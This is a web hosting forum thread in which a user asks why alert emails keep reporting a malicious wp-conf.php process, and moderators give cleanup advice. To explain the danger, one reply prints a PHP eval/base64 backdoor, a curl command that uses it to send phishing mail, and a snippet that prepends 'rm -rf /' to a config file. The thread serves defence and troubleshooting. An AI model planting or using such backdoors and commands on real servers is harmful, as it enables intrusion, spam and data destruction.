Process Time Exceeded... 40 emails a day

Discussion in 'Linux VPS/Dedicated - cPanel' started by Vincent Bergeron, Jul 31, 2013.

  1. Vincent Bergeron

    Vincent Bergeron New Member

    I receive this about 40 times a day. And i have looked this up and it is some kind of exploit. i have deleted every one of these files (wp-conf.php) and now the file doesn't appear to be on the server, but i still get these messages. I have also deleted everything from the public_html folder and restore the site form the original build, and i still get this message. Below is the message s that i recieve.

    Time: Wed Jul 31 11:02:34 2013 -0400
    PID: 23592 (Parent PID:21968)
    Account: bobby
    Uptime: 644067 seconds


    Executable:

    /usr/bin/php


    Command Line (often faked in exploits):

    /usr/bin/php /home/bobby/public_html/wp-conf.php


    Network connections by the process (if any):

    tcp: 192.190.82.114:50599 -> 90.156.201.105:80
    tcp: 192.190.82.114:50704 -> 90.156.201.63:80
    tcp: 192.190.82.114:38140 -> 90.156.201.47:80
    tcp: 192.190.82.114:53778 -> 90.156.201.78:80
    tcp: 192.190.82.114:50618 -> 90.156.201.105:80
    tcp: 192.190.82.114:50736 -> 90.156.201.63:80
    tcp: 192.190.82.114:38172 -> 90.156.201.47:80
    tcp: 192.190.82.114:53811 -> 90.156.201.78:80
    tcp: 192.190.82.114:50653 -> 90.156.201.105:80
    tcp: 192.190.82.114:50772 -> 90.156.201.63:80
    tcp: 192.190.82.114:38214 -> 90.156.201.47:80
    tcp: 192.190.82.114:53864 -> 90.156.201.78:80
    tcp: 192.190.82.114:50719 -> 90.156.201.105:80
    tcp: 192.190.82.114:50831 -> 90.156.201.63:80
    tcp: 192.190.82.114:38267 -> 90.156.201.47:80
    tcp: 192.190.82.114:53906 -> 90.156.201.78:80
    tcp: 192.190.82.114:50744 -> 90.156.201.105:80
    tcp: 192.190.82.114:50859 -> 90.156.201.63:80
    tcp: 192.190.82.114:38295 -> 90.156.201.47:80
    tcp: 192.190.82.114:53940 -> 90.156.201.78:80
    tcp: 192.190.82.114:50780 -> 90.156.201.105:80
    tcp: 192.190.82.114:50889 -> 90.156.201.63:80


    Second Message i get.

    Time: Wed Jul 31 15:02:55 2013 -0400
    Account: bobby
    Resource: Process Time
    Exceeded: 580214 > 1800 (seconds)
    Executable: /usr/bin/php
    Command Line: /usr/bin/php /home/bobby/public_html/wp-conf.php
    PID: 4328 (Parent PID:4235)
    Killed: No

     
  2. Dan

    Dan Moderator

    Hi Vincent,

    If you have gotten rid of all of the wp-conf.php files then it's likely that there were some left in the outbound queue on your server.

    Seems to me I had something like this happen to one of my accounts as well. The code for several of the pages on the site had also been modified as had the .htaccess to re-route traffic. So make sure to pull the site up and then maybe check the dates on the files to make sure things look alright.

    You also need to determine how it happened. Most often it's with a weak FTP password, that's been my experience anyways. Take a look in your /var/log/messages and search through it to see if the user 'bobby' uploaded files or not. If you don't know a rough date of when it happened then you should probably go back into the previous one as well and search through it as well. If you do find that user had uploaded files (particularly the wp-conf.php and/or other files) then be sure to change their FTP password ASAP or you'll be right back where you started.

    Hope that helps
     
  3. KH-Mathew

    KH-Mathew Systems Administration Staff Member

    @Dan
    >You also need to determine how it happened.
    I wish we had a +1 button for this.

    I can't stress how important it is to find the exploit that allowed the malicious code to be placed there. As Dan said this is often done by exploiting weak FTP passwords, but in support I see more often than that where a poorly coded script, usually a plugin or theme for a CMS, is used to be able to execute arbitrary commands on the server. The commands are often used to either insert code into an existing file or create a new one. One of the common things is to see file, or prepended to a file, something like this:
    PHP:
    if($_POST['evilcmd']){eval(base64_decode($_POST['evilcmd']));}
    This will allow the hacker to execute any command that the account has privilege to. With this you can throw curl requests at the script all day and execute commands like so:

    Code:
    curl -F evilcmd=`echo "mail('[email protected]','Send me your Paypal login','A message body telling you why you should send me your paypal login')"|base64` http://yourexploited.domain.com
    
    This could send spam using the php sendmail wrapper. You could infect existing files like so:

    PHP:
    $oldfile=file_get_contents('wp_config.php');$myevilcmd="passthru('rm -rf /')"file_put_contents('wp_config.php'$myevilcmd.$oldfile);
    This command, if encoded in base64 and properly escaped, would have the effect of prepending the "evilcmd" to the existing file wp_config.php. The next time that this script was run your docroot would cease to exist! This command could be replaced with "wget somefile.bad" or use "file_get_contents()" for a backdoor shell (assuming that the fopen wrappers are enabled". I am not a hacker or developer so the code presented may not be perfect, but I think it outlines the issue. All in all it is a very dangerous thing.

    I tell you all of that to say this: Removing a malicious script only puts a very small bandaid on the real problem. Shells and malicious code on a server are only a symptom of the problem, with the problem being the vulnerable code/service that was used to introduce the exploit. Not tracking this down will inevitably lead to further exploits, data loss, spamming, angry abuse departments, etc.

    Tracking down where the files came from if not uploaded via FTP requires parsing the domlogs around the time that the hacked files were modified. There are likely other files that were modified and/or created too. Also, removing the file won't kill any processes that are running the script since the script resides in memory once it is executed. Stopping Apache and killall -9 php should get rid of any processes. Don't hesitate to ask support for help on this one. If not properly addressed it will only get worse.
     

Share This Page